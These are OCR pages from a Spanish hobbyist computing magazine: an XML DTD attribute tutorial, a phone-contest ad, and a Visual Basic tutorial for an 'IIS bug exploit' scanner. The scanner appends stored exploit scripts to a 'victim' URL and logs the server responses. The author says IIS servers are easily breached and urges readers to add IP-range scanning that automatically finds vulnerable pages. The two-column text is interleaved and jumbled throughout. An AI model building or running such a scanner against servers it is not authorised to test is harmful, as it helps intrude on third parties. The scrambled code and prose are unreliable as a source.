  • 40. VALIDACION DE DOCUMENTOS XML - DTD (II) - VALIDACION DE DOCUMENTOS XML - DTD (II) Reglas para escribir un ATTLIST: ESTABLECER UNA UTILIZACIÓN POR 1. Comenzar escribiendo <!ATTLIST DEFECTO DE LOS ATRIBUTOS 2. Especificar a que elemento pertenece el atributo ( ORDEN_DE_COMPRA) Coged un poco más de aire. 3. Dar un nombre al atributo ( envio, orden_preparada) Aparte de establecer el tipo de atributo, también 4. Decir el tipo de atributo (CDATA, podemos especificar el uso que le vamos a dar ENTITY..., ahora veremos la lista de tipos) por defecto. 5. Especificar su utilización (#REQUIRED, #IMPLIED, .. ahora vemos la lista) 6. cerrar la declaración con el signo > TIPOS DE ATRIBUTOS Coged un poco de aire que lo que viene ahora es un poco duro. Mientras que los nombres que les pongamos a los atributos son de libre creación por nuestra parte, su contenido debe ajustarse a los valores que dices que va a contener ese atributo, esto es debe ajustarse a su tipo. Por ejemplo si dices que el atributo es CDATA es que va a contener un texto, no puede contener una entidad (una entidad es por ejemplo , una UTILIZAR TIPOS DE ATRIBUTOS Y USOS fotografía). DE ATRIBUTOS Soltad el aire, es más fácil de lo que parece. Empecemos creando atributos para el elemento ORDEN_DE_COMPRA (como podéis ver voy cambiando su definición según lo que vaya explicando) <!ELEMENT ORDEN_DE_COMPRA (fecha, item+, detalles_contacto)> <ATTLIST ORDEN_DE_COMPRA id ID #REQUIRED vendedor CDATA #IMPLIED envio CDATA #REQUIRED pre_pagado CDATA #FIXED “si” tipo_orden (via_web | telefono | catalogo ) “via_web” almacen NMTOKEN “Huesca”> Aquí tenemos que el id lo hemos definido como tipo ID requerido. Cada una de las órdenes de compra deberá tener un id. El siguiente atributo vendedor contiene una cadena de caracteres y es #IMPLIED, si no existe no hay problema. Página 40 PC PASO A PASO Nº 12
  • 41. VALIDACION DE DOCUMENTOS XML - DTD (II) - VALIDACION DE DOCUMENTOS XML - DTD (II) El envio es obligatorio, y su valor, ya que no lo hemos DEFINIR ATRIBUTOS DE TIPO CDATA especificado en el DTD, debe ser proporcionado por el cliente cuando de sus opciones de compra. Son los mas comunes. Pueden ser declarados como #IMPLIED, #FIXED o #REQUIRED. Pre_pagado tiene un valor fijo que es “sí”, lo que nos indica que la orden de compra debe pagarse antes de <!ATTLIST ORDEN_COMPRA vendedor CDATA #IMPLIED> enviarse. Pueden contener valores por defecto El quinto atributo: Tipo_orden utiliza una enumeración <!ATTLIST ORDEN_COMPRA pre_pagado CDATA #FIXED “Sí”> (ENUMERATION) que nos da una lista de los valores posibles que puede tener este atributo (via_ web | telefono | catalogo) también los podemos declarar sin especificar y en el caso de que no venga informado, le asignaremos el su #USO valor “via_web” El último atributo en caso de no ser asignado, tiene el valor <!ATTLIST ORDEN_COMPRA envio CDATA #REQUIRED “Llobregat”> por defecto de “Huesca” RESTRINGIR LOS VALORES DE LOS Un xml válido sería: ATRIBUTOS CON NMTOKEN <ORDEN_DE_COMPRA id =”1234”> vendedor=”Luis Candelas” Los NMTOKENS siguen unas reglas parecidas envio=”UltraRapidAir” a los nombres que deben tener los elementos pre_pagado=”si” XML. Pueden incluir caracteres alfanuméricos, tipo_orden=”telefono” caracteres ideográficos ( de otros alfabetos </ORDEN_DE_COMPRA> como el griego, el ruso... ejemplo la letra alfa: ; la letra beta: etc.), pueden contener el carácter Como veis aquí no hemos especificado el almacén, entonces subguión ( _ ) , guión (- ) o punto ( . ), no se cogerá el que viene por defecto: “Huesca” admiten espacios y pueden comenzar por cualquiera de los caracteres que pueden incluir (alfanuméricos, ideográficos, subguión...) ASIGNAR VALORES A LOS ATRIBUTOS EN LOS DTD NMTOKENS válidos: Tal como hemos visto en los ejemplos anteriores podemos asignar valores por defecto a los atributos. Estos valores irán Almacen siempre entre comillas dobles o simples e irán al final de .almacen todo. -almacen 13almacen <!ATTLIST ORDEN_COMPRA almacen NMTOKEN “Huesca”> (a diferencia de un nombre xml, un nmtoken ¡¡si puede comenzar también es correcto con comilla simple con un número!!) <!ATTLIST ORDEN_COMPRA almacen NMTOKEN ‘Huesca’> NMTOKENS no válidos: si el valor por defecto contiene comillas simples, pondremos Almacen 13 el valor entre comillas dobles, si el valor por defecto contiene #almacen comillas dobles pondremos el valor entre comillas simples: 13 almacen <!ATTLIST ORDEN_COMPRA almacen NMTOKEN “L’Hospitalet del Llobregat”> PC PASO A PASO Nº 12 Página 41
  • 42. VALIDACION DE DOCUMENTOS XML - DTD (II) - VALIDACION DE DOCUMENTOS XML - DTD (II) Para restringir un atributo de manera que su contenido sea · Debe ser declarado #IMPLIED o #REQUIRED un NMTOKEN válido declararemos el atributo como tipo · No puede declararse #FIXED NMTOKEN, y su uso , que puede ser #IMPLIED , #REQUIRED, · No puede tener valores por defecto #FIXED, o podemos no especificar uso. Ejemplos de ID correctos: A diferencia de un CDTA, en un NMTOKEN cuando un valor sea #REQUIRED o #IMPLIED no podemos asignar un valor <!ATTLIST ORDEN_COMPRA id ID #REQUIRED> <!ATTLIST ORDEN_COMPRA id ID #IMPLIED> por defecto. REFERENCIAR ATRIBUTOS CON VALORES ÚNICOS Asignaciones correctas: <!ATTLIST ORDEN_COMPRA almacen NMTOKEN ‘Huesca’> Un atributo ID, se puede referenciar utilizando tipos de <!ATTLIST ORDEN_COMPRA almacen NMTOKEN #IMPLIED> atributos IDREF o IDREFS. Estas referencias se utilizan para <!ATTLIST ORDEN_COMPRA almacen NMTOKEN #FIXED ‘Huesca’> asegurarnos que un atributo utiliza un valor de tipo ID, que <!ATTLIST ORDEN_COMPRA almacen NMTOKEN #REQUIRED > existe en el documento. DEFINIR ATRIBUTOS DE TIPO ENUMERADO REFERENCIAR ATRIBUTOS CON VALORES ÚNICOS UTILIZANDO IDREF Este tipo de atributos nos permite definir un conjunto de valores de los cuales podamos seleccionar uno, separados Se puede utilizar este tipo de atributos(IDREF) para obligar cada uno de los valores por una pipe ( | ). Su uso , puede a que estos atributos cojan uno de los valores que en ser #IMPLIED o #REQUIRED o podemos no especificar alguna parte del documento tiene un atributo tipo ID uso. Lo vemos con un ejemplo. Pensemos en un caso de un documento que tiene las órdenes No podemos definir un uso #REQUIRED. de compra diarias ( es decir que cada día cambia) de un Si definimos un uso #IMPLIED o #REQUIRED, no podemos solo almacén de una multinacional, y que estas órdenes de poner valor por defecto. compra deben procesarse e integrarse en la base de datos central de la multinacional. Asignaciones correctas: El documento tiene cuatro secciones: <!ATTLIST ORDEN_COMPRA NOMBREATRIBUTO tipo_orden (via_web | telefono | catalogo ) “via_web”> <!ATTLIST ORDEN_COMPRA NOMBREATRIBUTO tipo_orden (via_web | telefono | catalogo ) #IMPLIED> 1. Una sección contiene todas las órdenes de compra <!ATTLIST ORDEN_COMPRA NOMBREATRIBUTO tipo_orden (via_web | telefono | catalogo ) #REQUIRED> del DIA del almacén 2. Una sección contiene los artículos vendidos que DEFINIR ATRIBUTOS CON VALORES ÚNICOS tienen stock en ese almacén Los atributos de tipo ID, te permiten especificar atributos 3. Una sección contiene los artículos vendidos que cuyo valor deba ser único dentro de un archivo xml. tienen un pedido pendiente de servir Reglas para los atributos de tipo ID: 4. Una sección contiene los artículos vendidos que van · Deben poder aplicárseles las reglas para nombres a dejar de venderse ( a partir de hoy no vendemos mas xml válidos. Por ejemplo, no pueden comenzar por chupa-chups) un número. · Es decir que la orden de compra del dia (1) puede ser Cada elemento solo puede tener un atributo de tipo referenciada por otras tres secciones: la de artículos con ID stock ( 2), la de artículos con pedido pendiente (3) y la de Página 42 PC PASO A PASO Nº 12
  • 43. VALIDACION DE DOCUMENTOS XML - DTD (II) - VALIDACION DE DOCUMENTOS XML - DTD (II) artículos que en breve van a pasar a ser considerados Tanto num_referencia como ordComp, atributos del elemento obsoletos(4). ARTICULO_INVENTARIO, tienen que referenciar algún atributo tipo ID en alguna parte del documento. No obstante, Los artículos en stock, pedido pendiente y obsoletos (2-3- esta declaración no asegura que ordComp referencie Ordenes 4) pueden tener artículos de diferentes órdenes de compra de compra (num) , ni num_referencia id de artículos (id). y necesitaremos una manera para referenciar órdenes de Pueden escribirse de manera errónea. Lo único que asegura compra y asegurar que solo se van a procesar los es que los identificadores únicos que referencian están en artículos que estén en las actuales órdenes de el documento. compra. REFERENCIAR ATRIBUTOS CON VALORES ÚNICOS Para hacer esto necesitaremos un atributo de tipo ID para UTILIZANDO IDREFS cada una de las órdenes de compra, y un ID para los artículos Un atributo de tipo IDREFS, permite a ese atributo referenciar de ESA orden de compra a la vez a varios identificadores únicos (ID) El documento xml tendría una estructura similar a la que Si añadimos una sección al documento anterior que nos sigue: permita señalar las órdenes con artículos obsoletos o con <LISTA_MAESTRA almacen=”Huesca”> artículos pendientes de servir, el xml quedaría: <ORDENES> <ORDEN_DE_COMPRA num=”D1”> <LISTA_MAESTRA almacen=”Huesca”> <ARTICULO id=”D890”>Unidad de Cd-Rom</ARTICULO> <ARTICULO id=”D891”>Disketera de 3 1/2</ARTICULO> <ORDENES> <ARTICULO id=”D892”>Unidad de DVD-Rom</ARTICULO> <ORDEN_DE_COMPRA num=”D1”> </ORDEN_DE_COMPRA> <ARTICULO id=”D890”>Unidad de Cd-Rom</ARTICULO> <ORDEN_DE_COMPRA num=”D2”> <ARTICULO id=”D891”>Disketera de 3 1/2</ARTICULO> <ARTICULO id=”D893”> Unidad de DVD-Rom </ARTICULO> <ARTICULO id=”D894”> Unidad de Cd-Rom </ARTICULO> <ARTICULO id=”D892”>Unidad de DVD-Rom</ARTICULO> </ORDEN_DE_COMPRA> </ORDEN_DE_COMPRA> </ORDENES> <ORDEN_DE_COMPRA num=”D2”> <EN_STOCK> <ARTICULO_INVENTARIO num_referencia=”D892” ordComp=”D1” /> <ARTICULO id=”D893”> Unidad de DVD-Rom </ARTICULO> <ARTICULO_INVENTARIO num_referencia=”D893” ordComp=”D2” /> <ARTICULO id=”D894”> Unidad de Cd-Rom </ARTICULO> </EN_STOCK> </ORDEN_DE_COMPRA> <PENDIENTE_SERVIR > </ORDENES> <ARTICULO_INVENTARIO num_referencia=”D890” ordComp=”D1” /> <ARTICULO_INVENTARIO num_referencia=”D894” ordComp=”D2” /> <EN_STOCK> </ PENDIENTE_SERVIR > <ARTICULO_INVENTARIO num_referencia=”D892” ordComp=”D1” /> <OBSOLETO > <ARTICULO_INVENTARIO num_referencia=”D893” ordComp=”D2” /> <ARTICULO_INVENTARIO num_referencia=”D891” ordComp=”D1” /> </OBSOLETO> </EN_STOCK> </LISTA_MAESTRA> <PENDIENTE_SERVIR > <ARTICULO_INVENTARIO num_referencia=”D890” ordComp=”D1” /> <ARTICULO_INVENTARIO num_referencia=”D894” ordComp=”D2” /> En el ejemplo, los atributos id y num deben declararse como </ PENDIENTE_SERVIR > atributos ID y los atributos num_referencia y ordComp, como <OBSOLETO > referencian a los atributos id y num que son de tipo ID, <ARTICULO_INVENTARIO num_referencia=”D891” ordComp=”D1” /> deben declararse de tipo IDREF </OBSOLETO> <ORDENES_SEÑALADAS> <ORDENES_ALMACEN ordenes_referenciadas=”D1 D2”/> La declaración en el DTD sería la siguiente: </ORDENES_SEÑALADAS> </LISTA_MAESTRA> <!ATTLIST ORDEN_DE_COMPRA num ID #REQUIRED> <!ATTLIST ARTICULO id ID #REQUIRED> y la declaración DTD: <!ATTLIST ARTICULO_INVENTARIO num_referencia IDREF #REQUIRED> <!ATTLIST ORDENES_ALMACEN ordenes_referenciadas IDREFS #REQUIRED> <!ATTLIST ARTICULO_INVENTARIO ordComp IDREF #REQUIRED> PC PASO A PASO Nº 12 Página 43
  • 44. VALIDACION DE DOCUMENTOS XML - DTD (II) - VALIDACION DE DOCUMENTOS XML - DTD (II) Si habéis llegado hasta aquí tenéis una base mas que suficiente para empezar a manipular los archivos xml con el DOM. Y es lo que vamos PERSONALIZATUMOVIL TUMOVIL MOVIL PERSONALIZATUMOVILMOVIL PERSONALIZATUTUMOVIL PERSONALIZATUMOVIL PERSONALIZATUMOVILMOVIL PERSONALIZATUMOVILTUMOVIL PERSONALIZATU MOVILMOVIL PERSONALIZATUMOVILMOVIL TUMOVIL PERSONALIZATUMOVIL PERSONALIZATUMOVILMOVIL PERSONALIZATU TUMOVIL PERSONALIZATUMOVIL MOVIL MOVIL PERSONALIZATUTUMOVIL MOVIL MOVIL MOVIL MOVIL MOVIL MOVIL PERSONALIZA MOVIL a hacer a partir del próximo numero. En caso PERSONALIZA PERSONALIZA PERSONALIZATU MOVIL MOVIL TU MOVIL MOVIL PERSONALIZA TU MOVIL PERSONALIZA TU MOVIL de que necesitáramos un poco más de teoría para los DTD , lo haríamos como referencia rápida , no como centro del artículo. Ya que mi ilustre colega Pedro del Valle está impartiendo un hermoso curso de Visual Basic, la manipulación de los xml la haremos también con Visual Basic, pero debéis recordar que podéis acceder a los elementos de un documento xml también con Java (como hemos visto en el artículo de hoy) , con C y con otros lenguajes. ¡Saludos compañeros! EL GANADOR DEL SORTEO DE UN SUSE LINUX 8.2 DEL MES DE jukio - agosto ES: Antonio jose saez torres alicante SEGUIR LLAMANDO, EL PROXIMO HAY MUCHOS MAS EN PODRIA SER PARA TI (PAG 44) http://pclog.buscalogos.com/ SI TE GUSTA LA INFORMÁTICA. SI ESTAS “CABREADO” CON GÜINDOUS ;) SI QUIERES PROGRESAR DE VERDAD Incluye 7 CD’s y 1 DVD PC PASO A PASO Manual de Instalación. SOR TEA CADA MES UN S.O. Manual de Administracion SUSE LINUX PR OFESSION AL 8.2 SIMPLEMENTE ENVIA LA PALABRA PCCON AL 5099 DESDE TU MOVIL PRECIO DEL MENSAJE: 0,90€ + IVA. VALIDO PARA (MOVISTAR - VODAFONE Y AMENA) IVA. VALIDO PARA (MOVISTAR EL PREMIO PUEDE SER CANJEABLE POR UN JUEGO DE PC O CONSOLA QUE NO SUPERELOS 85€ EL GANADOR SALDRA PUBLICADO AQUÍ 2 NÚMEROS DESPUES DE LA PUBLICACIÓN. Página 44 PC PASO A PASO Nº 12
  • 45. IIS bug exploit nuestro primer scanner Por Pedro del Valle www.ChamaneX.com Poco a poco y casi sin darnos cuenta vamos “pillándole” el gusto a eso de “programar”. Hemos recibido muchos mails de personas que NUNCA se habían acercado al Visual Basic y ahora ya superan el nivel de la revista... ¿existe mejor recompensa? ¿Recuerdas cuando te “empujamos” a bajarte una “copia” del Visual Basic del eMule y Instalarla? Ya estamos aquí de nuevo después de unas de texto donde poner la URL de la “víctima”, y larguisimas “vacaciones”. Pues empecemos “las un botón para lanzar el “scanner”. Por ejemplo, clases” :p podríamos poner un TextBox, un ListBox y un par de botones para “scannear” y salir de la Si hacemos memoria, en el último número aplicación. empezamos un proyecto donde intentábamos crear un scanner que buscara bugs en Este sería el aspecto del proyecto: servidores web IIS. Para ser más exactos, hicimos un Web Browser (explorador de Internet). El diseño final de este venía a ser algo así. En la caja de texto “Target”, podremos introducir tanto una URL como una dirección IP. Creo que sería atractivo también guardar informes sobre los “bugs” encontrados en los diferentes “scanneos” de servidores. Por ejemplo, y para Este diseño ha quedado obsoleto, ya que para seguir practicando con algo tan importante en nuestra nueva finalidad, necesitaremos un la programación como es el acceso a datos, entorno más funcional y ergonómico. usaremos una base de datos de Access. Empecemos pues un nuevo proyecto en Visual Añadamos pues la referencia necesaria para el Basic. Yo os voy a dar una base, un diseño acceso a datos, que en este caso es el “Microsoft que yo encuentro apropiado para este software, Active Data Object 2.7 Library”. pero cada uno puede cambiar el aspecto a su antojo. Lo que si tenemos que tener en cuenta La versión (2.7) puede ser otra anterior, no hay es que necesitaremos, como mínimo, una caja problema. PC PASO A PASO Nº 12 Página 45
  • 46. VB - IIS BUG exploit (II) - VB - IIS BUG exploit (II) - VB - IIS BUG exploit (II) Ahora creemos una base de datos y una tabla. Llamaremos a la base de datos “bugs.mdb”, por ejemplo, y la guardaremos en el mismo directorio donde se encuentra el proyecto. La tabla principal la podríamos llamar “informes”, y estará compuesta por un campo llamado “URL”, y otro que contendrá el script (llamémosle “script”). Estos campos serán de tipo String 255 y memo respectivamente. También vamos a agregar un menú al formulario principal, para recuperar estos informes. Posicionémonos sobre el formulario y, en el menú herramientas, piquemos en “Editor de menús”. El funcionamiento de este es muy sencillo. En la propiedad “Caption” introducimos el literal que se verá en el menú, y en la propiedad “Name”, el nombre identificativo del mismo. El primero debería ser el que abre los demás, es decir, el principal. Un buen nombre sería “Archivo”. Justo después de este, introducimos los demás, pero con la peculiaridad de que a los siguientes debemos desplazarlos con la flecha hacia la derecha, queriendo así indicarles que serán submenús del primero. En la imagen vemos como quedará el editor de menús: Y aun mejor, haremos que nuestro scanner sea actualizable añadiendo otra tabla llamada IIS con un único campo clave denominado “script”. Perfecto, con esto tenemos lista la base de datos. Ahora vamos a aplicar lo aprendido en el número anterior en este ejercicio. Agregamos otro formulario a nuestro proyecto actual, llamándolo, por ejemplo, WB (de Web Browser). En el formulario solo agregaremos un objeto web Browser, como ya hicimos en la entrega anterior. Página 46 PC PASO A PASO Nº 12
  • 47. VB - IIS BUG exploit (II) - VB - IIS BUG exploit (II) - VB - IIS BUG exploit (II) Esto no son más que “scripts” que he ! Para agregar... encontrado en el Google, pero hay decenas de ellos. Una vez cargada la tabla, volvemos al código y añadimos un nuevo formulario para Para agregar otro formulario a un proyecto, vamos al dar de alta “scripts”. Este formulario solo tendrá explorador de proyectos y, picando con el botón derecho una caja de texto, un ListBox (opcional, es para sobre él, elegimos “Agregar”, “nuevo formulario”. visualizar los existentes) y dos botones, “Alta” y “Salir”. El funcionamiento será sencillo. El formulario principal realizará llamadas al secundario (WB) para comprobar los diferentes “scripts” de la tabla IIS. Muy bien, empecemos entonces con el código. Declararemos primero las variables necesarias para la gestión de informes. Estas serán un objeto ADODB.Connection y otro ADODB.Recordset. Para reutilizarlas, las variables las podríamos declarar en un módulo independiente, agregándolo con el botón derecho en el explorador de proyectos, menú Agregar, Módulo Para acceder a este nuevo formulario, añadiremos un nuevo submenú llamado Scripts, Option Explicit codificándolo de la siguiente manera Global Conn As ADODB.Connection Global Rs As ADODB.Recordset Private Sub Scripts_Click() FrmScripts.Show En el evento Form_Load() instanciamos y abrimos estos End Sub objetos, como ya hemos hecho en otras ocasiones. Ahora vamos al evento Form_Load de Private Sub Form_Load() FrmScripts. Set Conn = New ADODB.Connection Set Rs = New ADODB.Recordset Declaremos antes una variable de tipo Conn.ConnectionString = "DSN=bugs;DBQ=" & App.Path & "/bugs.mdb;DriverId “Recordset” para poder grabar los nuevos =25;FIL=MSAccess;MaxBufferSize=2048;PageTimeout=5;UID=admin;" “scripts” que introduzcamos, por ejemplo, rs.Open "informes", Conn.ConnectionString, adOpenDynamic, “RsGrabar”, y otra que recorra la tabla, llamada adLockOptimistic “RsLeer” End Sub Option Explicit Con esto realizamos la conexión a la base de datos. Ahora, Dim RsGrabar As ADODB.Recordset antes de seguir con el código, deberíamos rellenar, de forma Dim RsLeer As ADODB.Recordset manual, la tabla IIS con algunos “scripts” para probar contra servidores. Por ejemplo, yo añadiré estos En el evento, instanciamos los objetos y abrimos la conexión tanto de “RsLeer” como de “RsGrabar”. Posteriormente, llamaremos a una rutina que podemos denominar “Leer”, la cual se va a encargar de recorrer la tabla “IIS” por completo. Para acabar, tendremos que codificar el botón “grabar”, que se encargará de dar de alta, teniendo en cuenta que hemos declarado el PC PASO A PASO Nº 12 Página 47
  • 48. VB - IIS BUG exploit (II) - VB - IIS BUG exploit (II) - VB - IIS BUG exploit (II) campo como clave, y que por lo tanto, no podemos repetir Private Sub Form_Unload(Cancel As Integer) valores. Para este botón, estos serían los pasos a seguir: RsLeer.Close RsGrabar.Close 1- Comprobar que la caja de texto no está en blanco End Sub 2- Comprobar que el “script” que intentamos añadir no ha sido introducido anteriormente Expliquemos brevemente este código. Primero, el Form_Load(). 3- Efectuar las operaciones necesarias para dar de alta el “script”. En este instanciamos los objetos Recordset Sencillo, ¿no?, pues he aquí el código de este formulario: declarados anteriormente, y los abrimos, cada uno de ellos contra la tabla correspondiente. Option Explicit Dim RsGrabar As ADODB.Recordset Set RsGrabar = New ADODB.Recordset Dim RsLeer As ADODB.Recordset Set RsLeer = New ADODB.Recordset RsLeer.Open "IIS", Conn.ConnectionString, adOpenStatic, adLockReadOnly Private Sub CmdAnadir_Click() RsGrabar.Open "IIS", Conn.ConnectionString, adOpenDynamic, adLockOptimistic If Not TxtScript.Text = "" Then RsGrabar.Find "script='" & TxtScript.Text & "'" If RsGrabar.EOF Then Posteriormente, llamamos a la rutina Leer, que RsGrabar.AddNew será la encargada de recorrer la tabla y añadir RsGrabar("script") = TxtScript.Text los “scripts” encontrados al “ListBox”. RsGrabar.Update MsgBox "Script añadido!", vbInformation, "Aviso" Comprobamos que la caja de texto no esté Set RsLeer = RsGrabar vacía (If Not TxtScript.Text = "" Then). Si no Leer es así, mostramos un mensaje con un literal Else que nos avise de este error. En el caso de que MsgBox "El script ya fue introducido en la base de datos", vbExclamation, "Aviso" se cumpla la sentencia (es decir, que el TextBox End If no es blanco), hacemos una búsqueda en la Else tabla para comprobar que no existe el “script” MsgBox "El campo Script no puede ser blanco", vbExclamation, "Aviso" que estamos intentando añadir (RsGrabar.Find End If "script='" & TxtScript.Text & "'"). End Sub Private Sub CmdSalir_Click() Unload Me ! La propiedad... End Sub Private Sub Form_Load() La propiedad “find” del Recordset sirve para Set RsGrabar = New ADODB.Recordset buscar un registro dentro de un Recordset ya Set RsLeer = New ADODB.Recordset abierto, indicándole el nombre del campo más RsLeer.Open "IIS", Conn.ConnectionString, adOpenStatic, adLockReadOnly un símbolo “=” y una cadena con lo que estamos RsGrabar.Open "IIS", Conn.ConnectionString, adOpenDynamic, adLockOptimistic buscando. En el caso de que no se encuentre Leer ninguno, la propiedad “EOF” pasará a ser End Sub verdadero. Sub Leer() Lista.Clear RsLeer.MoveFirst Una vez efectuada la búsqueda, comprobamos While Not RsLeer.EOF el valor de la propiedad “EOF” ( If RsGrabar.EOF Lista.AddItem RsLeer("script") Then). Si este es falso, mostraremos un mensaje RsLeer.MoveNext conforme se ha encontrado un “script” igual al Wend que se está intentando introducir, y si no, lo End Sub damos de alta en la tabla IIS e igualamos el Página 48 PC PASO A PASO Nº 12
  • 49. VB - IIS BUG exploit (II) - VB - IIS BUG exploit (II) - VB - IIS BUG exploit (II) Recordset de lectura al Recordset de grabado, Inmediatamente después, abrimos el formulario llamando finalmente a la rutina Leer para WB, y lanzamos un bucle que recorra la tabla recargar el ListBox. IIS. RsGrabar.AddNew WB.Show RsGrabar("script") = TxtScript.Text While Not RsLeer.EOF RsGrabar.Update MsgBox "Script añadido!", vbInformation, "Aviso" Set RsLeer = RsGrabar Ahora viene la parte más interesante. Por cada Leer uno de los registros de la tabla IIS encontrados, llamaremos al método Navigate del objeto Ah!, y que no se nos olvide cerrar los objetos WebBrowser, enviándole la URL más el “script” Recordset cuando cerremos el formulario, si que acabamos de leer en la tabla. no lo hacemos, dejamos conexiones abiertas de manera inútil. Lo hacemos así: WB.web.Navigate TxtURL & RsLeer("script") Private Sub Form_Unload(Cancel As Integer) Con esto, estamos intentando acceder a la web RsLeer.Close mediante algún bug del IIS. Para darle tiempo RsGrabar.Close a la carga de la web, crearemos un bucle End Sub mientras el valor de la variable “Completado” sea falso. Siempre que hagamos un bucle, el Damos por bueno este formulario y vamos al cual no vamos a saber cuanto tiempo va a principal. Codifiquemos el botón “Scann”, que, tardar en finalizar, es aconsejable añadir la a priori, es el más interesante. Vamos a sentencia “DoEvents” para que el programa no declararnos otro Recordset, como en el caso se “coma” todos los recursos de la máquina. anterior, para leer la tabla con los “scripts”. Por ejemplo, RsLeer. While Not RsLeer.EOF WB.web.Navigate TxtURL & RsLeer("script") While Not Completado ! Cabe decir... DoEvents Wend Completado = False Cabe decir que la manera en que declaramos FrmPrincipal.Lista.AddItem RsLeer("script") las variables es totalmente libre. Yo, lo que RsLeer.MoveNext hago, es declarar algunas globales y otras Wend locales al formulario, para que veáis las RsLeer.Close diferentes maneras que existe. Por ejemplo, en este caso, podríamos haber declarado el Para que la variable “Completado” valga Recordset RsLeer global, y así reutilizarlo en verdadero, debemos cambiar su valor a cuando los dos formularios. la web acabe de cargar. Para hacer esto, abrimos el formulario WB (el que contiene el WebBrowser) y, en el evento NavigateComplete2 También nos vamos a declarar una variable de del WebBrowser, cambiamos el valor de la ámbito global que nos indicará si se ha variable Completado a verdadero. completado la carga de la página una vez También podemos declararnos un vector de hemos lanzado el “script” contra ella. Yo llamaré tipo cadena para guardar los resultados a esta variable “Completado”, y será de tipo obtenidos después de lanzar los “scripts”. Algo Booleana. En el botón “scann” primero vamos así: a instanciar el objeto Recordset y a abrirlo. En el módulo.bas declaramos la variable. Set RsLeer = New ADODB.Recordset Global Scripts() As String RsLeer.Open "IIS", Conn.ConnectionString, adOpenStatic, adLockOptimistic PC PASO A PASO Nº 12 Página 49
  • 50. VB - IIS BUG exploit (II) - VB - IIS BUG exploit (II) - VB - IIS BUG exploit (II) Y en el evento NavigateComplete2 el resto del código ! La cláusula... Option Explicit Dim nCont As Integer La cláusula On Error Resume Next provoca que, en caso de error, el programa continúe con la siguiente línea de Private Sub web_NavigateComplete2(ByVal pDisp código. As Object, URL As Variant) ReDim Preserve Scripts(nCont) Scripts(nCont) = web.Document.documentelement.innerhtml Completado = True Con esto podremos visualizar todos los nCont = nCont + 1 resultados obtenidos por el “scanner”. Supongo que ya os habréis dado cuenta de que con esto, End Sub hemos acabado el IIS Bug Scanner, ya que en caso de encontrar un servidor con alguno de Un detalle que se me ha olvidado (es muy los agujeros de seguridad introducidos en la frecuente). Antes de cargar la lista del menú tabla “IIS”, veremos el resultado en nuestro principal, deberíamos limpiarla, en el evento formulario WB. La gracia del programa es CmdComenzar_Click. automatizar la búsqueda de bugs, hacerlo actualizable y dar la posibilidad de guardar Con esto estamos guardando todos los informes. Y es esto último lo único que nos resultados en nuestra variable de tipo cadena. faltaría por hacer, guardar el “script” completo El uso de esta variable nos lo dejaremos en el y la página de aquellos que surjan efecto. tintero. Ahora debemos ver los resultados de El código para guardar los informes es sencillo: nuestro “scanneo”. La forma que yo he preferido es la de poner 4 botones en el formulario WB, Set RsGrabar = New ADODB.Recordset dos para desplazarse hacia delante o hacia RsGrabar.Open "informes", Conn.ConnectionString, adOpenDynamic, adLockOptimistic atrás, otro para salir y finalmente, uno para RsGrabar.AddNew guardar el informe. RsGrabar("URL") = FrmPrincipal.TxtURL RsGrabar("script") = web.Document.URL RsGrabar.Update RsGrabar.Close MsgBox "Informe guardado" Pasamos a comentarlo. Primero, instanciamos el objeto y lo abrimos con permisos de escritura. Justamente después, indicamos al Recordset que vamos a dar de alta un registro con .AddNew, y le pasamos los valores a los campos. Podemos apreciar que en el campo “script” le estamos introduciendo el web.Document.URL, El código de los dos botones es bastante que viene a ser la dirección que aparecería en sencillo: la barra del explorador, es decir, el “exploit” completo, con dirección web incluida. Private Sub CmdAnterior_Click() On Error Resume Next Y para acabar, solo nos queda recuperar web.GoBack informes. Vamos pues al menú principal, siendo End Sub más precisos, al submenú “Abrir”. Agregamos un nuevo formulario para visualizar nuestros Private Sub CmdSiguiente_Click() informes, llamémosle FrmInformes. Desde el On Error Resume Next menú “Abrir” llamaremos a este nuevo web.GoForward formulario, que cargará todos los “scripts” End Sub guardados en un ListBox. Página 50 PC PASO A PASO Nº 12
  • 51. VB - IIS BUG exploit (II) - VB - IIS BUG exploit (II) - VB - IIS BUG exploit (II) software funcional, bien debugado, con el código bien estructurado... Lo que aquí os he ofrecido, es el primer paso para que vosotros, descontentos con este programa, lo mejoréis, arregléis los errores que seguro tiene, e incluso, que cambies funcionalidades básicas. Creo que he dejado el proyecto lo suficientemente abierto como para que arregléis y practiquéis con él, y también creo que os he abierto los ojos lo suficiente como para ver que podéis hacer un “scanner” muy chulo con pocas líneas de código y el objeto WebBrowser, ya que cabe recordar, este objeto no es más que un explorador de Internet, y todos sabemos que los servidores IIS son fácilmente flanqueables utilizando únicamente el IExplorer. Sin más, me despido, y os prometo estar por los foros de hackxcrack.com para aquellos que se lancen a mejorar el programa por su cuenta. PD: ¿Alguien se atreve a hacer que el scanner sea por rangos de IP? y si encima, detecta automáticamente que páginas Seguramente el método que yo he utilizado para cargar los son vulnerables y las guarda, sería estupendo (recordad que “scripts” no es el más útil, pero es totalmente válido. Lo que tenemos una variable donde guardamos el código HTML, hago es un bucle que recorra toda la tabla “informes”, pude sernos útil) agregando primero el valor del campo “URL” e inmediatamente después el valor del campo “script”. Con esto, tendremos primero la página y luego el resultado que nos ofreció el Código: exploit lanzado y que guardamos en la tabla. FrmPrincipal Finalmente, codifico el evento click de tal forma que se cargue la página con el texto del “ítem” seleccionado. Este Option Explicit sería el código. Dim RsLeer As ADODB.Recordset Option Explicit Dim RsLeer As ADODB.Recordset Private Sub Abrir_Click() FrmInformes.Show Private Sub Form_Load() End Sub Lista.Clear Set RsLeer = New ADODB.Recordset Private Sub CmdComenzar_Click() RsLeer.Open "informes", Conn.ConnectionString, adOpenStatic, adLockOptimistic Set RsLeer = New ADODB.Recordset While Not RsLeer.EOF RsLeer.Open "IIS", Conn.ConnectionString, adOpenStatic, adLockOptimistic Lista.AddItem RsLeer("URL") WB.Show Lista.AddItem RsLeer("script") Lista.Clear RsLeer.MoveNext While Not RsLeer.EOF Wend WB.web.Navigate TxtURL & RsLeer("script") End Sub While Not Completado DoEvents Private Sub Lista_Click() Wend web.Navigate Lista.List(Lista.ListIndex) Completado = False End Sub Lista.AddItem RsLeer("script") RsLeer.MoveNext Y con esto, tenemos nuestro cutre, pero útil, scanner de Wend vulnerabilidades para IIS. Ahora, permitidme unas palabras. RsLeer.Close Yo no puedo estar orgulloso, ni por asomo, de este proyecto. End Sub Con esto quiero decir que ni mucho menos se trata de un PC PASO A PASO Nº 12 Página 51
